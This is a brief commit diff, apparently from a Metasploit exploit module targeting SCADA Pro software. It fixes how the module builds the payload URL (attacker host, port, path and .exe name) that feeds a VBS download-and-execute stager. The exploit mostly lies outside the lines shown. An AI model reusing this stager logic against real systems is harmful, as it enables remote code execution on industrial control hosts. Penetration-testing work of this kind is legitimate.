Fix scadapro_cmdexe datastore
parent
a12d1244b9
commit
b43522a2b8
|
@ -103,7 +103,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
payload_src = lhost
|
payload_src = lhost
|
||||||
payload_src << ":" << datastore['SRVPORT'] << datastore['URIPATH'] << @payload_name << ".exe"
|
payload_src << ":#{datastore['SRVPORT']}#{datastore['URIPATH']}#{@payload_name}.exe"
|
||||||
|
|
||||||
stager_name = rand_text_alpha(6) + ".vbs"
|
stager_name = rand_text_alpha(6) + ".vbs"
|
||||||
stager = build_vbs(payload_src, stager_name)
|
stager = build_vbs(payload_src, stager_name)
|
||||||
|
|
Loading…
Reference in New Issue